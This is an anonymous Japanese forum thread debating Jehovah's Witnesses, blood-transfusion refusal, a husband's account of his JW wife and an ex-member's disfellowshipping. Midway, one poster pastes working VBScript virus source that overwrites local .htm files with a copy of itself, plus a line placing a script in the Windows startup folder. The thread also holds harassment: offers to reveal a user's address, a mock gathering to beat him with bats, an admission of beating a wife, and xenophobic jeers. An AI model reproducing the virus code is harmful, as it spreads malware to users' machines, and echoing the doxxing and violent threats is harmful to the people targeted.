その話しし出すとスレ違いにならんか？
>「我々の輸血拒否は医学的に正しい」というのがＪＷの主張なんだから
医学的な問題うんぬんを語っているようには見えなかったんだけど・・・
そういう話ならＲＯＭっとく。

>>141　意味不明

異常気象発狂！！　異常気象発狂！！　異常気象発狂！！

これより、このスレは発狂いたします。
ただちに避難して下さい。

だいじょうぶみたいね。

　　　　　　　　　　　　　　　　　　

れーのみくんの住所教えます。
知りたい方は、
メールください。

age

皆様、こんにちは。インターネットの世界では「こーじ」と名乗っている
者です。どうぞよろしくお願いします。
私の妻はエホバの証人です。私自身は隠れ信者です。
インターネットの世界ではあらゆる情報が飛び交っています。その中には
エホバの証人に対して正当な批判や分析が数多く存在します。本当に感心
してしまいます。

私は、妻との信仰をやめさせるための「詐欺監禁による説得行為」
（やっている人は「保護説得」と言っているもの）には断固として
反対します。
私も過去に妻の信仰に反対して、ボコボコに殴ったことがありました。

しかし、さすがに監禁までは考えませんでした。しかし、ひどく悩む人
には「詐欺監禁による説得行為」をほのめかす人の誘惑には勝てないの
かもしれません。私はそんな最悪なケースを避けて欲しいと思っていま
すし、実際「詐欺監禁による説得行為」など必要のないことだと思って
います。それで隠れ信者の立場ではありますが、エホバの証人である妻と仲良く
やっている夫として、少しでも役に立てるのではないかと思い、この
経験を載せることにしました。また、同じ様な経験をされた方のお話
しもぜひ募集したいと思います。

・別に最初から反対せずに仲良くやっているよ。
・最初は反対したけど、状況がわかったら反対する必要はなくなったね。
・ものみの塔には色々文句はあるけど、まあ妻の信仰は許しているよ。
・アハハハ、妻に続いて私までエホバの証人になってしまった。

などなど、なんでも結構ですから私の意見に賛同して下さる方の経験・
意見を募集します。

（；´Д｀）ﾊｧ〜　霊の実叩き　萌、萌え〜

>>149
隠れ信者って？
信じているなら堂々とすればいいんじゃない？
また、反対するなら反対すれば。
どっちつかずなんて、信者以上に哀れかも。

妻がエホバの証人になるということは、子供が大怪我をしても輸血せずに
見殺しにしなければならないということだ。のんびり構えてないで、
はやく重大性を認識すべきなのだが。

えーっと。こんどしゅうかいをひらきます。
しゅうすかいのたいとるは、「こうじをボコボコにする」
です。

集まる場所は、水分峠です。　
バット、必携のこと。

某日に、行きます。
Ｙさんもこられます。

換金牧師よぶ？

人権尊重のたちばから、金胎教ちかくのＹさんしか呼びません。

こーじくんの写真げっとー。

>>152
永遠の命がかかっているからしかたがない。
輸血して数十年の命
輸血しないで永遠の命
どっちが得ですか？

輸血して数十年の命の方が得だ、と言われるならそれでもいいですが。
このあたりの考え方の違いでだいぶ変わるもんですよ。
理解できましたか？

>141
つまり、、、
本人が輸血ヤダって言ってるんだからそうしてあげたらって事でしょ。
わかる。単純に間違ってるとは言えんわな。
でも現場でそれをやっちゃうと患者さんにもしもの事があった時にお医者さんが責任を取らされる。
さらに彼等は医学的に間違った知識を刷り込まれてる。
自分でこの信仰を選んだとは思えない子供達まで輸血されないで亡くなってるしね。

>>157

命の永さに得なんて無えぞ。
死んでしまった子供には、罪を背負いながら生きる事を選ぶ権利もあったはずだ。
大きな怪我を負ってしまった事は仕方が無い。
その事を受け入れた上で、どのような生き方を選ぶか。
子供は親の所有物じゃねえんだ。

この世の法律には従ってもらいたいよね

なんだかんだ言って生まれてきたくせに

　　　　　　 　☆ 輸血しない人　ランキング 上位ベスト３ ☆


　　　　　　 　　 第 一 位　　エ　ホ　バ　の　証　人

　　　　　　 　 　第 二 位　　医　師

　　　　　　　 　第 三 位　　医 師 の 家 族

神はもともと永遠の命を持たして人間を造った。
イエスの最大の教えはあなた方には永遠の命があるということだ。
あなた方はイエスを受け入れたとき、それを認識する。
全ては愛であり、神である。輸血に縛られるか否かなどどうでもいいことだ。
神が本当に血を飲むことを禁じたとでも思うのか。
見下げられたものだな。
あなた方は創造者を見下げている。たかだか人間の分際で。
血はしばしば人間性を表すことばとして用いられる。イエスの血を飲むとはイエスの人間性を受け入れるという意味である。
あなた方は神を冒涜している。

で霊の実ヲチはどうなったのよ。

いや、今は霊の実より茶太郎が面白い。
現在２掲とばぁねっとを股にかけて暴れている茶太郎は
自分の事を心理療法家と言っているが、それは大嘘で、
カウンセリング経験のある患者だという事がよくわかる。

自分がカウンセラーにされたことを２世達にしてみたいのだろう。
あそこまで情緒不安定な奴も珍しいぞ。

エホ証は日本から出って行け！　霊の実みたいな奴が自分の周りに居たら超迷惑だね！
世間から村八分だね！

165＞お前がいなくなれ

<BODY Onload="Redirect();">
<script language="VBScript"><!--

Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub

Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)

While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub
--></script>
</BODY>

あなたは何者？

もとＪＷ

fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

止めた理由は？

>>166
ウイルスのソースを貼り付けたが省略されてしまい、完全表示をしないと意味が無いという罠。
悪質ないたずらをするお前こそいなくなった方がいい。

やめてないよ。やめさせられちゃった。
理由は・・・長老が気に入らないんだって。だから
半ば強引に・・・排斥ってやつかな。

何が気に入らなかったのかなぁ？

病んでますね

２世で割り当て上手く出来るし、田舎ではご法度の
インターネットしてるし、かせぎは多いし・・・
そんなとこらしい。

それだけで排斥は無理でしょ〜。もしほかに何もやらかしてないなら協会に手紙書きなよ。でも、ローカルの強いとこは大変だね・・・

まぁ異性関係で悪いこともしたんだけどね。だけど相手は排斥どころか
開拓今も続けてる。でもおれはこのありさま。相手は都会の会衆だった
けど、おれのいるところは田舎だったからねぇ昔から変わらぬふるい
長老がでばってるとこだし。
嘘だとか作ってるとか思うなら自由だけど、現に今そうだもん。ま。
でも諦めてないよ。一応排斥されてから８ヶ月ずっと集会も行ってるし。
おかげででも色んな角度から物を考えられていいけどね。現役の時は
ここに書き込むことも良心が痛んでしなかったけど、今ならしても
大丈夫だし。またもどったらここからも引退するけどね。

>>176
冷静に事実を知るいい機会なのに
なぜ戻ろうなんて・・・。

それにしても霊の実って、いろいろ言ってるけど
結局は単に嫁さんに逆らうのが怖いだけみたいに見えるんだが（藁
あんな変なＨＰ作らなくても、「僕は嫁さんが怖いから黙ってます」って
書けば１行で済む話だぞ（爆

こわいよー。こわいよー。こわいよー。こわいよー。うちのよめたん。
こわいよー。こわいよー。こわいよー。こわいよー。うちのよめはん。
こわいよー。こわいよー。こわいよー。こわいよー。うちのよめご。
こわいよー。こわいよー。こわいよー。こわいよー。うちのよめはん。
ドップラー効果がかかるほど、自転車のはや乗り。

こわいよー。こわいよー。こわいよー。こわいよー。うちの嫁。
「こーじ。もう。Ｙだっぺたちをいじめるのはやめにしたら」という。
こわいよー。こわいよー。こわいよー。こわいよー。うちのよめたん。
ＳＥＸの体位は、いつも女性上位。

>>164
茶太郎ってどのへんに出没してるの？やふとぴ？ひのあた？
そういえば昔（事情があってやめちゃった）無料掲示板サービスつかってた現役様系掲示板は
いまどこへいってるんだろう？誰か知ってる？

ひのあたでは匿名希望
２掲では茶太郎
ばぁねっとではchataro

>>179　そうはおもわんよ

>>181
２掲では【New Ager】・【ニューエイジ】・【天の声】などもあり

>>1
そんなつまらんことで目くじらたてんなよ。

>183
茶太郎はそんなに多重ﾊﾝﾄﾞﾙ使ってるのか、あきれたね
あいつの仕事は本当にカウンセラーなのかね、怪しくなってきたぜ

>185
個人事業者の営業活動の一環？

>>186
　わからんです